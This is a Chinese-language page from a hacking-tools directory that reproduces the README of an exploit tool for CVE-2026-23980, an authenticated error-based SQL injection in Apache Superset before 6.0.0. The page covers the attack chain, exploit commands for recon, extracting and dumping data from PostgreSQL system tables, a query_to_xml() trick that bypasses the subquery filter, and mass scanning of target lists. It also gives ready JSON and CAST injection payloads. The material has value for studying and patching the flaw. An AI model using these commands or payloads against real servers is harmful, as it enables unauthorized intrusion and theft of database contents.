Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23980-Exploit — CVE-2026-23980 的漏洞利用程序 — Apache Superset < 6.0.0 中通过 sqlExpression 绕过实现基于错误的已认证 SQL 注入 | Kitploit
工具/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

CVE-2026-23980 的漏洞利用程序 — Apache Superset < 6.0.0 中通过 sqlExpression 绕过实现基于错误的已认证 SQL 注入

查看仓库
4个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-23980 - Apache Superset 认证后 SQL 注入

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression 直接进入查询。没有参数化。没有希望。

Apache Superset < 6.0.0 允许具有读取权限的认证用户通过 /api/v1/chart/data 端点中的 sqlExpression 或 where 参数执行基于错误的 SQL 注入。

validate_adhoc_subquery() 过滤器通过 PostgreSQL XML 函数(query_to_xml 等)被绕过,这些函数将 SQL 作为函数参数执行,对 sqlparse 分词器不可见。

  • CVSS: 6.5 中危 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL 注入)
  • 受影响版本: Apache Superset < 6.0.0
  • 修复版本: Apache Superset 6.0.0
  • 需要认证: 是(读取权限)
  • 数据库: PostgreSQL(基于错误提取)

攻击链

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc 列 sqlExpression / extras.where 注入
  -> validate_adhoc_subquery() 通过 query_to_xml() 被绕过
  -> 原始 SQL 到达 PostgreSQL
  -> CAST((...) AS INT) 错误在响应中泄露数据

安装

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

使用方法

侦察 - 指纹识别并枚举数据源

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

测试数据源是否可注入

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

通过基于错误的 SQLi 提取数据

root@kitploit:~
# 数据库版本
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# 数据库用户
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# 列出表
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# 当前用户
python3 exploit.py ... --sql "SELECT current_user"

使用 query_to_xml() 绕过子查询验证

当 validate_adhoc_subquery() 阻止你的查询时(检测到 FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

这会将查询包装在 query_to_xml() 中,从而对分词器隐藏 FROM 子句。

转储多行数据

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

使用 WHERE 注入点

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

批量扫描

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

通过 Burp 代理

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

工作原理

注入向量

sqlExpression(默认)- 注入到列定义中:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - 注入到 extras.where 子句中:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

基于错误的提取

该利用工具使用 PostgreSQL 的类型转换来泄露数据:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL 无法将字符串转换为整数,因此会抛出:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

泄露的值从 API 响应中的错误消息中解析出来。

验证绕过

Superset 的 has_table_query() 扫描 FROM/JOIN 以检测子查询。PostgreSQL 的 query_to_xml() 执行 SQL 但将其隐藏为函数参数:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

分词器看到的是函数调用,而不是 FROM 子句,从而绕过过滤器。

补丁分析

版本状态
< 4.0.2存在漏洞(无 XML 函数黑名单)

参考

  • NVD - CVE-2026-23980
  • Apache 安全公告
  • Quarkslab - 绕过 Superset SQLi 限制
  • OSS Security
  • CVE-2025-48912 - 相关的 RLS 绕过

免责声明

此工具仅用于授权的安全研究。仅可对你有明确测试许可的系统使用。作者不对滥用行为负责。

下载工具
4.0.2
部分修复(CVE-2024-39887 - 将部分 XML 函数加入黑名单)
4.1.0扩展黑名单(更多 XML 函数)
4.1.2修复行级安全绕过(CVE-2025-48912)
6.0.0完全修复 CVE-2026-23980